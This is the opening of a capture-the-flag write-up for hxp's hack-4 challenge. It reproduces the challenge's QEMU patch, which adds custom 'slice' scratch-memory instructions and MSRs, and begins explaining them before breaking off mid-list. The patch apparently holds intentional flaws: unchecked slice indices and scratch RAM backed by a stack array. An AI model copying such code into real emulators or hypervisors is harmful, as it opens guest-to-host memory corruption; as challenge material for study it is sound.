#
hxp-silicon-foundaries-hack-4It's been so long since I originally solved this challenge that I forgot some details haha... But I still remember most of it. The challenge involved a patch to qemu adding custom "slice" instructions. Shoutout to @Qyn and @goldenboy for working on the challenge with me!
The relevant patch is here if you want to read it:
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793
From 96ef36fd2c2544b7cc5b6c942247f52a4d450f99 Mon Sep 17 00:00:00 2001
From: sisu <contact@hxp.io>
Date: Sun, 1 Dec 2024 18:18:49 +0200
Subject: [PATCH] Add hack4 (ai1337)
---
docs/specs/hxp_ai1337.rst | 192 ++++++++++++++++++++++++++
target/i386/cpu.c | 52 +++++++
target/i386/cpu.h | 17 +++
target/i386/ops_ai1337.h | 8 ++
target/i386/tcg/decode-new.c.inc | 17 +++
target/i386/tcg/emit.c.inc | 47 +++++++
target/i386/tcg/sysemu/excp_helper.c | 12 ++
target/i386/tcg/sysemu/misc_helper.c | 40 ++++++
target/i386/tcg/translate.c | 196 +++++++++++++++++++++++++++
9 files changed, 581 insertions(+)
create mode 100644 docs/specs/hxp_ai1337.rst
create mode 100644 target/i386/ops_ai1337.h
diff --git a/docs/specs/hxp_ai1337.rst b/docs/specs/hxp_ai1337.rst
new file mode 100644
index 000000000..95b6d4280
--- /dev/null
+++ b/docs/specs/hxp_ai1337.rst
@@ -0,0 +1,192 @@
+HXP HACK-4 AI1337 Device Specification
+======================================
+
+The HXP HACK-4 AI1337 is designed to fulfil the compute needs
+of the AI industry. The design is a significant extension to
+the existing X86 architecture to enable fast scratch operations.
+
+High-Level Architecture
+=======================
+
+This section provides a high-level overview of the HXP HACK-4 and
+AI1337 architecture.
+
+Processor Organization
+----------------------
+
+::
+
+ HXP HACK-4 application processor, optimized for scalar compute
+ AI1337 Engine, optimized for very-wide compute
+
+ |------------|---------|-----------|
+ | |---------| |
+ | HXP HACK-4 |---------| AI1337 IP |
+ | |---------| |
+ |------------|---------|-----------|
+ |
+ |
+ PSCHORR interconnect
+
+ PSCHORR very-wide link
+
+The HXP HACK-4 is the application processor responsible for boot and
+executing OS software. The AI1337 execution engine is on-die engine
+responsible for fast scratch operations.
+
+AI1337 Engine Organization
+--------------------------
+
+::
+
+ --------------------------------------------
+ | AI1337 engine | Execution Interconnect
+ | | |
+ |------------------------------------------| |
+ | Slice 0 |-----| --------------------
+ |------------------------------------------| |---| Multi-ALU engine |
+ | Slice 1 |-----| --------------------
+ |------------------------------------------| |
+ | Slice 2 |-----| --------------------
+ |------------------------------------------| |---| Multi-ALU engine |
+ | ... |-----| --------------------
+ |------------------------------------------| |
+ | Slice N |-----| --------------------
+ |------------------------------------------| |---| Multi-ALU engine |
+ --------------------
+
+The AI1337 engine is organized as a vector of interconnected memory slices.
+Slices are interconnected via the 'execution interconnect' in an N-to-N
+fashion, and each cross-slice wide-link is connected to a series of
+multi-ALU engines that support fast addition, subtraction and multiplication.
+
+PSCHORR Interconnect
+--------------------
+
+The PSCHORR Interconnect connects the HACK-4 application processor
+and the AI1337 Engine using a multi-link organization for fast
+slice reads and writes.
+
+The interconnect allows also for addressability of the scratch memory
+through an bi-ATS unit that supports bi-directional addressing of scratch
+and application processor memory.
+
+::
+
+ Physical Memory Virtual Memory
+ 0 |
+ | |
+ IO space | |
+ | |
+ - |
+ | |
+ | |
+ | | Direct Addressing
+ RAM | | |
+ | ___________________________|_____ |
+ | / | | |
+ ---/ | bi-ATS |------|
+ | | |
+ | _______________________|________|
+ AI1337 | /
+ aperture | / PSCHORR Interconnect
+ ---
+
+ISA Contributions
+=================
+
+This section describes the ISA contributions to the X86_64 ISA.
+The added instructions are responsible for updating scratch memory
+on the AI1337 engine and for submitting work to the AI1337 engine.
+The ISA also includes instructions for fast reconfiguration of the
+PSCHORR interconnect.
+
+
+.. list-table:: ISA
+ :widths: 25 25 50
+ :header-rows: 1
+
+ * - Opcode
+ - Instruction
+ - Description
+ * - 0F 0A 83
+ - MTS
+ - Load RCX bytes from memory address (RSI) to slice (RBX) at slice offset (RDI)
+ * - 0F 0A 84
+ - STM
+ - Read RCX bytes from slice (RBX) at slice offset (RDI) and write memory address (RSI)
+ * - 0F 0A 85
+ - FSCR
+ - Clear all slices
+ * - 0F 0A 86
+ - SCRADD
+ - Add the slices pointed by RDI and RSI, and store the result into slice pointed by RDX
+ * - 0F 0A 87
+ - SCRSUB
+ - Subtract the slices pointed by RDI and RSI, and store the result into slice pointed by RDX
+ * - 0F 0A 88
+ - SCRMUL
+ - Multiply the slices pointed by RDI and RSI, and store the result into slice pointed by RDX
+ * - 0F 0A 89
+ - SCRHLW (privileged)
+ - Update scratch memory PSCHORR bi-ATS base VA
+ * - 0F 0A 8A
+ - SCRHLR
+ - Read scratch memory PSCHORR bi-ATS base VA
+
+System-Level Contributions
+==========================
+
+This section provides information on system-level specification and configuration,
+and it's primarily targeted towards kernel developers.
+
+Specification
+-------------
+
+The AI1337 engine support is dictated by the existence of the 0x80000022 CPUID leaf.
+If the AI1337 CPUID leaf exists, the EAX, ECX, EDX and EBX registers provide the following information:
+
+.. list-table:: CPUID 0x80000022
+ :widths: 25 25 50
+ :header-rows: 1
+
+ * - Register
+ - Bits
+ - Information
+ * - EAX
+ - 0-31
+ - Total scratch memory size
+ * - ECX
+ - 0-9
+ - Maximum number of slices
+ * - ECX
+ - 10-31
+ - Maximum slice size in bytes
+ * - EDX
+ - 0-31
+ - Low 32 bits of the AI1337 Aperture
+ * - EBX
+ - 0-31
+ - High 32 bits of the AI1337 Aperture
+
+Configuration
+-------------
+
+The AI1337 engine is a multi-configurable engine that software can
+utilize for scaling up for high-computing workloads and scaling
+down for power-efficiency.
+
+.. list-table:: MSR
+ :widths: 40 25 50
+ :header-rows: 1
+
+ * - MSR
+ - Identifier
+ - Description
+ * - MSR_HACK4_SLICE_SIZE
+ - 0xC0000105
+ - Read/Write slice size in the AI1337 engine
+ * - MSR_HACK4_NUM_SLICES
+ - 0xC0000106
+ - Read/Write count of slices in the AI1337 engine
+
diff --git a/target/i386/cpu.c b/target/i386/cpu.c
index 85ef7452c..197a813f7 100644
--- a/target/i386/cpu.c
+++ b/target/i386/cpu.c
@@ -43,9 +43,13 @@
#include "hw/i386/sgx-epc.h"
#endif
+#include "exec/ramblock.h"
+
#include "disas/capstone.h"
#include "cpu-internal.h"
+#include "ops_ai1337.h"
+
static void x86_cpu_realizefn(DeviceState *dev, Error **errp);
/* Helpers for building CPUID[2] descriptors: */
@@ -5256,6 +5260,26 @@ static const X86CPUDefinition builtin_x86_defs[] = {
.model_id = "AMD EPYC-Genoa Processor",
.cache_info = &epyc_genoa_cache_info,
},
+ {
+ .name = "hxp-ai1337",
+ .level = 0xd,
+ .vendor = CPUID_VENDOR_AMD,
+ .family = 25,
+ .model = 1,
+ .stepping = 1,
+ .features[FEAT_1_EDX] =
+ PPRO_FEATURES |
+ CPUID_MTRR | CPUID_CLFLUSH | CPUID_MCA |
+ CPUID_PSE36,
+ .features[FEAT_1_ECX] =
+ CPUID_EXT_SSE3 | CPUID_EXT_CX16 | CPUID_EXT_RDRAND,
+ .features[FEAT_8000_0001_EDX] =
+ CPUID_EXT2_LM | CPUID_EXT2_SYSCALL | CPUID_EXT2_NX,
+ .features[FEAT_8000_0001_ECX] =
+ CPUID_EXT3_LAHF_LM | CPUID_EXT3_SVM,
+ .xlevel = 0x80000022,
+ .model_id = "HXP Silicon Foundaries AI 1337 Processor",
+ },
};
/*
@@ -5688,6 +5712,11 @@ static inline void feat2prop(char *s)
}
}
+uint64_t x86_calculate_scratch_size(CPUX86State* env)
+{
+ return (env->scratch_config.slice_size * env->scratch_config.num_active_slices);
+}
+
/* Return the feature property name for a feature flag bit */
static const char *x86_cpu_feature_name(FeatureWord w, int bitnr)
{
@@ -7044,6 +7073,13 @@ void cpu_x86_cpuid(CPUX86State *env, uint32_t index, uint32_t count,
*eax = env->features[FEAT_8000_0021_EAX];
*ebx = *ecx = *edx = 0;
break;
+ case 0x80000022:
+ *eax = *ebx = *ecx = *edx = 0;
+ *ecx = (AI1337_SCRATCH_MAX_SLICE_SIZE << 10) | AI1337_SCRATCH_MAX_NUM_SLICES;
+ *eax = AI1337_SCRATCH_SIZE;
+ *edx = (AI1337_SCRATCH_PHYS_BASE & 0xFFFFFFFFU);
+ *ebx = ((AI1337_SCRATCH_PHYS_BASE >> 32U) & 0xFFFFFFFFU);
+ break;
default:
/* reserved values: zero */
*eax = 0;
@@ -8052,6 +8088,22 @@ static void x86_cpu_initfn(Object *obj)
if (xcc->model) {
x86_cpu_load_model(cpu, xcc->model);
}
+
+ {
+ env->scratch_config.num_active_slices = AI1337_SCRATCH_NUM_SLICES_DEFAULT;
+ env->scratch_config.slice_size = AI1337_SCRATCH_SLICE_SIZE_DEFAULT;
+ env->scratch_config.va_base = AI1337_SCRATCH_VA_BASE;
+ env->scratch_config.phys_base = AI1337_SCRATCH_PHYS_BASE;
+ env->scratch_config.access_enabled = 0;
+
+ uint16_t scratch[AI1337_SCRATCH_SIZE];
+ env->scratch_region = malloc(sizeof(MemoryRegion));
+ memset(env->scratch_region, 0, sizeof(*env->scratch_region));
+ memory_region_init_ram_ptr(env->scratch_region, NULL, "ai1337-scratch", AI1337_SCRATCH_SIZE, scratch);
+ env->scratch_region->ram_block->flags |= RAM_RESIZEABLE;
+ env->scratch_region->ram_block->max_length = AI1337_SCRATCH_MAX_NUM_SLICES * AI1337_SCRATCH_MAX_SLICE_SIZE;
+ memory_region_add_subregion(get_system_memory(), AI1337_SCRATCH_PHYS_BASE, env->scratch_region);
+ }
}
static int64_t x86_cpu_get_arch_id(CPUState *cs)
diff --git a/target/i386/cpu.h b/target/i386/cpu.h
index 14edd57a3..778c9a730 100644
--- a/target/i386/cpu.h
+++ b/target/i386/cpu.h
@@ -544,6 +544,9 @@ typedef enum X86Seg {
#define MSR_IA32_XFD 0x000001c4
#define MSR_IA32_XFD_ERR 0x000001c5
+#define MSR_HACK4_SLICE_SIZE 0xc0000105
+#define MSR_HACK4_NUM_SLICES 0xc0000106
+
/* FRED MSRs */
#define MSR_IA32_FRED_RSP0 0x000001cc /* Stack level 0 regular stack pointer */
#define MSR_IA32_FRED_RSP1 0x000001cd /* Stack level 1 regular stack pointer */
@@ -1681,6 +1684,14 @@ typedef struct HVFX86LazyFlags {
target_ulong auxbits;
} HVFX86LazyFlags;
+typedef struct ScratchConfig {
+ uint64_t va_base;
+ uint64_t phys_base;
+ size_t num_active_slices;
+ size_t slice_size;
+ int access_enabled;
+} ScratchConfig;
+
typedef struct CPUArchState {
/* standard registers */
target_ulong regs[CPU_NB_REGS];
@@ -1996,6 +2007,10 @@ typedef struct CPUArchState {
/* Bitmap of available CPU topology levels for this CPU. */
DECLARE_BITMAP(avail_cpu_topo, CPU_TOPO_LEVEL_MAX);
+
+ MemoryRegion *scratch_region;
+ ScratchConfig scratch_config;
+
} CPUX86State;
struct kvm_msrs;
@@ -2639,6 +2654,8 @@ void x86_cpu_xsave_all_areas(X86CPU *cpu, void *buf, uint32_t buflen);
uint32_t xsave_area_size(uint64_t mask, bool compacted);
void x86_update_hflags(CPUX86State* env);
+uint64_t x86_calculate_scratch_size(CPUX86State* env);
+
static inline bool hyperv_feat_enabled(X86CPU *cpu, int feat)
{
return !!(cpu->hyperv_features & BIT(feat));
diff --git a/target/i386/ops_ai1337.h b/target/i386/ops_ai1337.h
new file mode 100644
index 000000000..7aea6ae78
--- /dev/null
+++ b/target/i386/ops_ai1337.h
@@ -0,0 +1,8 @@
+
+#define AI1337_SCRATCH_VA_BASE 0xFFFFFFFFFFA00000ULL
+#define AI1337_SCRATCH_PHYS_BASE 0xFFFFFFFFFFF00000ULL
+#define AI1337_SCRATCH_SIZE (33ULL * 1024)
+#define AI1337_SCRATCH_MAX_NUM_SLICES (128)
+#define AI1337_SCRATCH_SLICE_SIZE_DEFAULT (1024ULL)
+#define AI1337_SCRATCH_NUM_SLICES_DEFAULT (33UL)
+#define AI1337_SCRATCH_MAX_SLICE_SIZE (4096ULL)
diff --git a/target/i386/tcg/decode-new.c.inc b/target/i386/tcg/decode-new.c.inc
index 30be9237c..968042464 100644
--- a/target/i386/tcg/decode-new.c.inc
+++ b/target/i386/tcg/decode-new.c.inc
@@ -1032,6 +1032,21 @@ static void decode_0F5A(DisasContext *s, CPUX86State *env, X86OpEntry *entry, ui
*entry = *decode_by_prefix(s, opcodes_0F5A);
}
+static void decode_0F0A(DisasContext *s, CPUX86State *env, X86OpEntry *entry, uint8_t *b)
+{
+ uint8_t c = x86_ldub_code(env, s);
+ switch (c) {
+ case 0x83: entry->gen = gen_MTS; break;
+ case 0x84: entry->gen = gen_STM; break;
+ case 0x85: entry->gen = gen_FSCR; break;
+ case 0x86: entry->gen = gen_SCRADD; break;
+ case 0x87: entry->gen = gen_SCRSUB; break;
+ case 0x88: entry->gen = gen_SCRMUL; break;
+ case 0x89: entry->gen = gen_SCRHLW; break;
+ case 0x8a: entry->gen = gen_SCRHLR; break;
+ }
+}
+
static void decode_0F5B(DisasContext *s, CPUX86State *env, X86OpEntry *entry, uint8_t *b)
{
static const X86OpEntry opcodes_0F5B[4] = {
@@ -1273,6 +1288,8 @@ static const X86OpEntry opcodes_0F[256] = {
[0x7e] = X86_OP_GROUP0(0F7E),
[0x7f] = X86_OP_GROUP0(0F7F),
+ [0x0a] = X86_OP_GROUP0(0F0A),
+
[0x88] = X86_OP_ENTRYr(Jcc, J,z_f64),
[0x89] = X86_OP_ENTRYr(Jcc, J,z_f64),
[0x8a] = X86_OP_ENTRYr(Jcc, J,z_f64),
diff --git a/target/i386/tcg/emit.c.inc b/target/i386/tcg/emit.c.inc
index 9b5041991..9a2e57b8f 100644
--- a/target/i386/tcg/emit.c.inc
+++ b/target/i386/tcg/emit.c.inc
@@ -3853,6 +3853,53 @@ static void gen_SUB(DisasContext *s, X86DecodedInsn *decode)
prepare_update2_cc(decode, s, CC_OP_SUBB + ot);
}
+static void gen_MTS(DisasContext *s, X86DecodedInsn *decode)
+{
+ gen_repz(s, MO_8, gen_mts_8);
+}
+
+static void gen_FSCR(DisasContext *s, X86DecodedInsn *decode)
+{
+ gen_fscr(s);
+}
+
+static void gen_SCRHLW(DisasContext *s, X86DecodedInsn *decode)
+{
+ if (CPL(s) != 0)
+ {
+ gen_illegal_opcode(s);
+ return;
+ }
+ size_t va_base_offset = offsetof(CPUX86State, scratch_config.va_base);
+ tcg_gen_st_tl(cpu_regs[R_EDI], tcg_env, va_base_offset);
+}
+
+static void gen_SCRHLR(DisasContext *s, X86DecodedInsn *decode)
+{
+ size_t va_base_offset = offsetof(CPUX86State, scratch_config.va_base);
+ tcg_gen_ld_tl(cpu_regs[R_EAX], tcg_env, va_base_offset);
+}
+
+static void gen_STM(DisasContext *s, X86DecodedInsn *decode)
+{
+ gen_repz(s, MO_8, gen_stm_8);
+}
+
+static void gen_SCRADD(DisasContext *s, X86DecodedInsn *decode)
+{
+ gen_slice_op(s, SLICE_OP_TYPE_ADD);
+}
+
+static void gen_SCRSUB(DisasContext *s, X86DecodedInsn *decode)
+{
+ gen_slice_op(s, SLICE_OP_TYPE_SUB);
+}
+
+static void gen_SCRMUL(DisasContext *s, X86DecodedInsn *decode)
+{
+ gen_slice_op(s, SLICE_OP_TYPE_MUL);
+}
+
static void gen_SYSCALL(DisasContext *s, X86DecodedInsn *decode)
{
gen_update_cc_op(s);
diff --git a/target/i386/tcg/sysemu/excp_helper.c b/target/i386/tcg/sysemu/excp_helper.c
index 8fb05b1f5..f524f97c2 100644
--- a/target/i386/tcg/sysemu/excp_helper.c
+++ b/target/i386/tcg/sysemu/excp_helper.c
@@ -23,6 +23,7 @@
#include "exec/exec-all.h"
#include "exec/page-protection.h"
#include "tcg/helper-tcg.h"
+#include "../../ops_ai1337.h"
typedef struct TranslateParams {
target_ulong addr;
@@ -600,6 +601,17 @@ bool x86_cpu_tlb_fill(CPUState *cs, vaddr addr, int size,
TranslateResult out;
TranslateFault err;
+ if (env->scratch_config.access_enabled &&
+ (addr >= env->scratch_config.va_base) &&
+ ((addr + size) <= (env->scratch_config.va_base + x86_calculate_scratch_size(env)))) {
+ vaddr paddr = env->scratch_config.phys_base + (addr - env->scratch_config.va_base);
+ tlb_set_page_with_attrs(cs, addr & TARGET_PAGE_MASK,
+ paddr & TARGET_PAGE_MASK,
+ cpu_get_mem_attrs(env),
+ PAGE_READ | PAGE_WRITE | PAGE_EXEC, mmu_idx, TARGET_PAGE_SIZE);
+ return true;
+ }
+
if (get_physical_address(env, addr, access_type, mmu_idx, &out, &err,
retaddr)) {
/*
diff --git a/target/i386/tcg/sysemu/misc_helper.c b/target/i386/tcg/sysemu/misc_helper.c
index 094aa56a2..78fd3a573 100644
--- a/target/i386/tcg/sysemu/misc_helper.c
+++ b/target/i386/tcg/sysemu/misc_helper.c
@@ -26,6 +26,7 @@
#include "exec/exec-all.h"
#include "tcg/helper-tcg.h"
#include "hw/i386/apic.h"
+#include "../../ops_ai1337.h"
void helper_outb(CPUX86State *env, uint32_t port, uint32_t data)
{
@@ -128,6 +129,27 @@ void helper_write_crN(CPUX86State *env, int reg, target_ulong t0)
}
}
+static bool helper_recalculate_scratch(CPUX86State *env, uint32_t new_num_slices, uint32_t new_slice_size)
+{
+ if (new_num_slices > AI1337_SCRATCH_MAX_NUM_SLICES) {
+ return false;
+ }
+ if (new_slice_size > AI1337_SCRATCH_MAX_SLICE_SIZE) {
+ return false;
+ }
+ uint32_t new_size = new_num_slices * new_slice_size;
+ Error *err = NULL;
+ bql_lock();
+ memory_region_ram_resize(env->scratch_region, new_size, &err);
+ bql_unlock();
+ if (err) {
+ return false;
+ }
+ env->scratch_config.num_active_slices = new_num_slices;
+ env->scratch_config.slice_size = new_slice_size;
+ return true;
+}
+
void helper_wrmsr(CPUX86State *env)
{
uint64_t val;
@@ -306,6 +328,18 @@ void helper_wrmsr(CPUX86State *env)
break;
}
+ case MSR_HACK4_SLICE_SIZE:
+ const uint32_t new_slice_size = val;
+ if (!helper_recalculate_scratch(env, env->scratch_config.num_active_slices, new_slice_size)) {
+ goto error;
+ }
+ break;
+ case MSR_HACK4_NUM_SLICES:
+ const uint32_t new_num_active_slices = val;
+ if (!helper_recalculate_scratch(env, new_num_active_slices, env->scratch_config.slice_size)) {
+ goto error;
+ }
+ break;
default:
if ((uint32_t)env->regs[R_ECX] >= MSR_MC0_CTL
&& (uint32_t)env->regs[R_ECX] < MSR_MC0_CTL +
@@ -333,6 +367,12 @@ void helper_rdmsr(CPUX86State *env)
cpu_svm_check_intercept_param(env, SVM_EXIT_MSR, 0, GETPC());
switch ((uint32_t)env->regs[R_ECX]) {
+ case MSR_HACK4_SLICE_SIZE:
+ val = env->scratch_config.slice_size;
+ break;
+ case MSR_HACK4_NUM_SLICES:
+ val = env->scratch_config.num_active_slices;
+ break;
case MSR_IA32_SYSENTER_CS:
val = env->sysenter_cs;
break;
diff --git a/target/i386/tcg/translate.c b/target/i386/tcg/translate.c
index 98f5fe61e..0fd28c60f 100644
--- a/target/i386/tcg/translate.c
+++ b/target/i386/tcg/translate.c
@@ -21,6 +21,7 @@
#include "qemu/host-utils.h"
#include "cpu.h"
#include "exec/exec-all.h"
+#include "tcg/tcg-op-common.h"
#include "tcg/tcg-op.h"
#include "tcg/tcg-op-gvec.h"
#include "exec/translator.h"
@@ -32,6 +33,8 @@
#include "exec/log.h"
+#include "ops_ai1337.h"
+
#define HELPER_H "helper.h"
#include "exec/helper-info.c.inc"
#undef HELPER_H
@@ -1198,6 +1201,199 @@ static void gen_stos(DisasContext *s, MemOp ot)
gen_op_add_reg(s, s->aflag, R_EDI, gen_compute_Dshift(s, ot));
}
+static void gen_fscr(DisasContext *s)
+{
+ TCGLabel *l1 = gen_new_label();
+ TCGLabel *l2 = gen_new_label();
+
+ const size_t slice_size_offset = offsetof(CPUX86State, scratch_config.slice_size);
+ const size_t slice_count_offset = offsetof(CPUX86State, scratch_config.num_active_slices);
+ const size_t va_base_offset = offsetof(CPUX86State, scratch_config.va_base);
+ const size_t access_offset = offsetof(CPUX86State, scratch_config.access_enabled);
+
+ tcg_gen_st_tl(tcg_constant_i64(1), tcg_env, access_offset);
+
+ // Calculate size
+ tcg_gen_ld32u_tl(s->tmp0, tcg_env, slice_size_offset);
+ tcg_gen_ld32u_tl(s->tmp4, tcg_env, slice_count_offset);
+ tcg_gen_mul_tl(s->tmp0, s->tmp0, s->tmp4);
+
+ // For loop to clear memory
+ gen_set_label(l1);
+ gen_update_cc_op(s);
+ TCGv tmp = gen_ext_tl(NULL, s->tmp0, s->aflag, false);
+ tcg_gen_brcondi_tl(TCG_COND_EQ, tmp, 0, l2);
+ tcg_gen_sub_tl(s->tmp0, s->tmp0, tcg_constant_i64(1));
+ tcg_gen_ld_tl(s->A0, tcg_env, va_base_offset);
+ gen_lea_v_seg(s, s->A0, R_ES, -1);
+ tcg_gen_add_tl(s->A0, s->A0, s->tmp0);
+ gen_op_st_v(s, MO_8, tcg_constant_i64(0), s->A0);
+ tmp = gen_ext_tl(NULL, s->tmp0, s->aflag, false);
+ tcg_gen_brcondi_tl(TCG_COND_NE, tmp, 0, l1);
+ gen_set_label(l2);
+
+ tcg_gen_st_tl(tcg_constant_i64(0), tcg_env, access_offset);
+}
+
+typedef enum SLICE_OP_TYPE {
+ SLICE_OP_TYPE_ADD,
+ SLICE_OP_TYPE_SUB,
+ SLICE_OP_TYPE_MUL,
+} SLICE_OP_TYPE;
+
+static void gen_illegal_opcode(DisasContext *s);
+
+static void gen_slice_op(DisasContext *s, SLICE_OP_TYPE op_type)
+{
+ TCGLabel *l1 = gen_new_label();
+ TCGLabel *l2 = gen_new_label();
+
+ const size_t slice_size_offset = offsetof(CPUX86State, scratch_config.slice_size);
+ const size_t va_base_offset = offsetof(CPUX86State, scratch_config.va_base);
+ const size_t access_offset = offsetof(CPUX86State, scratch_config.access_enabled);
+
+ const TCGv slice_a = cpu_regs[R_EDI];
+ const TCGv slice_b = cpu_regs[R_ESI];
+ const TCGv slice_c = cpu_regs[R_EDX];
+
+ tcg_gen_st_tl(tcg_constant_i64(1), tcg_env, access_offset);
+
+ // slice size
+ tcg_gen_ld32u_tl(s->tmp0, tcg_env, slice_size_offset);
+
+ // tmp4 always holds the const slice size
+ tcg_gen_mov_tl(s->tmp4, s->tmp0);
+
+ // For loop to clear memory
+ gen_set_label(l1);
+ gen_update_cc_op(s);
+ TCGv tmp = gen_ext_tl(NULL, s->tmp0, s->aflag, false);
+ tcg_gen_brcondi_tl(TCG_COND_EQ, tmp, 0, l2);
+
+ // slice_size -= 8
+ tcg_gen_sub_tl(s->tmp0, s->tmp0, tcg_constant_i64(8));
+
+ // load slice_a value into T1
+ // A0, T1 initialized
+ tcg_gen_ld_tl(s->A0, tcg_env, va_base_offset);
+ gen_lea_v_seg(s, s->A0, R_ES, -1);
+ tcg_gen_mul_tl(s->T1, slice_a, s->tmp4);
+ tcg_gen_add_tl(s->A0, s->A0, s->T1);
+ tcg_gen_add_tl(s->A0, s->A0, s->tmp0);
+ gen_op_ld_v(s, MO_64, s->T1, s->A0);
+
+ // load slice_b value into T0
+ // A0, T0 initialized
+ tcg_gen_ld_tl(s->A0, tcg_env, va_base_offset);
+ gen_lea_v_seg(s, s->A0, R_ES, -1);
+ tcg_gen_mul_tl(s->T0, slice_b, s->tmp4);
+ tcg_gen_add_tl(s->A0, s->A0, s->T0);
+ tcg_gen_add_tl(s->A0, s->A0, s->tmp0);
+ gen_op_ld_v(s, MO_64, s->T0, s->A0);
+
+ // T0 holds the result of the operation
+ switch (op_type)
+ {
+ case SLICE_OP_TYPE_ADD:
+ tcg_gen_add_tl(s->T0, s->T1, s->T0);
+ break;
+ case SLICE_OP_TYPE_SUB:
+ tcg_gen_sub_tl(s->T0, s->T1, s->T0);
+ break;
+ case SLICE_OP_TYPE_MUL:
+ tcg_gen_mul_tl(s->T0, s->T1, s->T0);
+ break;
+ default:
+ gen_illegal_opcode(s);
+ return;
+ }
+
+ // Calculate address for slice_c slot
+ tcg_gen_ld_tl(s->A0, tcg_env, va_base_offset);
+ gen_lea_v_seg(s, s->A0, R_ES, -1);
+ tcg_gen_mul_tl(s->T1, slice_c, s->tmp4);
+ tcg_gen_add_tl(s->A0, s->A0, s->T1);
+ tcg_gen_add_tl(s->A0, s->A0, s->tmp0);
+ gen_op_st_v(s, MO_64, s->T0, s->A0);
+
+ tmp = gen_ext_tl(NULL, s->tmp0, s->aflag, false);
+ tcg_gen_brcondi_tl(TCG_COND_NE, tmp, 0, l1);
+ gen_set_label(l2);
+
+ tcg_gen_st_tl(tcg_constant_i64(0), tcg_env, access_offset);
+}
+
+static void gen_mts_8(DisasContext *s, MemOp ot)
+{
+ const size_t slice_size_offset = offsetof(CPUX86State, scratch_config.slice_size);
+ const size_t va_base_offset = offsetof(CPUX86State, scratch_config.va_base);
+ const size_t access_offset = offsetof(CPUX86State, scratch_config.access_enabled);
+
+ const TCGv slice_index = cpu_regs[R_EBX];
+ const TCGv offset_in_slice = cpu_regs[R_EDI];
+ const TCGv memory_address = cpu_regs[R_ESI];
+ const TCGv dshift = gen_compute_Dshift(s, ot);
+
+ tcg_gen_st_tl(tcg_constant_i64(1), tcg_env, access_offset);
+
+ // load from memory address
+ gen_lea_v_seg(s, memory_address, R_DS, -1);
+ gen_op_ld_v(s, MO_8, s->T0, s->A0);
+
+ // Calculate address for scratch
+ // A0 = offset_in_slice + slice_base + (slice_index * slice_size)
+ tcg_gen_ld_tl(s->A0, tcg_env, va_base_offset);
+ gen_lea_v_seg(s, s->A0, R_ES, -1);
+ tcg_gen_add_tl(s->A0, s->A0, offset_in_slice);
+ tcg_gen_ld32u_tl(s->tmp0, tcg_env, slice_size_offset);
+ tcg_gen_mul_tl(s->tmp0, s->tmp0, slice_index);
+ tcg_gen_add_tl(s->A0, s->A0, s->tmp0);
+
+ // Store value
+ gen_op_st_v(s, MO_8, s->T0, s->A0);
+
+ gen_op_add_reg(s, s->aflag, R_ESI, dshift);
+ gen_op_add_reg(s, s->aflag, R_EDI, dshift);
+
+ tcg_gen_st_tl(tcg_constant_i64(0), tcg_env, access_offset);
+}
+
+static void gen_stm_8(DisasContext *s, MemOp ot)
+{
+ const size_t va_base_offset = offsetof(CPUX86State, scratch_config.va_base);
+ const size_t slice_size_offset = offsetof(CPUX86State, scratch_config.slice_size);
+ const size_t access_offset = offsetof(CPUX86State, scratch_config.access_enabled);
+
+ const TCGv slice_index = cpu_regs[R_EBX];
+ const TCGv offset_in_slice = cpu_regs[R_EDI];
+ const TCGv memory_address = cpu_regs[R_ESI];
+ const TCGv dshift = gen_compute_Dshift(s, ot);
+
+ tcg_gen_st_tl(tcg_constant_i64(1), tcg_env, access_offset);
+
+ // Calculate address for scratch
+ // A0 = offset_in_slice + slice_base + (slice_index * slice_size)
+ tcg_gen_ld_tl(s->A0, tcg_env, va_base_offset);
+ gen_lea_v_seg(s, s->A0, R_ES, -1);
+ tcg_gen_add_tl(s->A0, s->A0, offset_in_slice);
+
+ tcg_gen_ld32u_tl(s->tmp0, tcg_env, slice_size_offset);
+ tcg_gen_mul_tl(s->tmp0, s->tmp0, slice_index);
+ tcg_gen_add_tl(s->A0, s->A0, s->tmp0);
+
+ // Load value from scratch
+ gen_op_ld_v(s, MO_8, s->T0, s->A0);
+
+ // Write to memory address
+ gen_lea_v_seg(s, memory_address, R_DS, -1);
+ gen_op_st_v(s, MO_8, s->T0, s->A0);
+
+ gen_op_add_reg(s, s->aflag, R_ESI, dshift);
+ gen_op_add_reg(s, s->aflag, R_EDI, dshift);
+
+ tcg_gen_st_tl(tcg_constant_i64(0), tcg_env, access_offset);
+}
+
static void gen_lods(DisasContext *s, MemOp ot)
{
gen_string_movl_A0_ESI(s);
--
2.34.1
TLDR; the patch adds a few things.
#
slicesThe patch adds a concept of "slices". There are a variable amount of slices, configurable with the privileged msr MSR_HACK4_NUM_SLICES
. The size of each slice is configurable with the privileged msr MSR_HACK4_SLICE_SIZE
. However they must not exceed AI1337_SCRATCH_MAX_NUM_SLICES
and AI1337_SCRATCH_MAX_SLICE_SIZE
.
The slices are memory mapped in virtual and physical memory but are only exposed when the access_enabled
flag is set by the processor. This flag is enabled temporarily by certain instructions that directly access the slice memory. These instructions are:
rcx
bytes from virtual memory address rsi
to the slice at index rbx
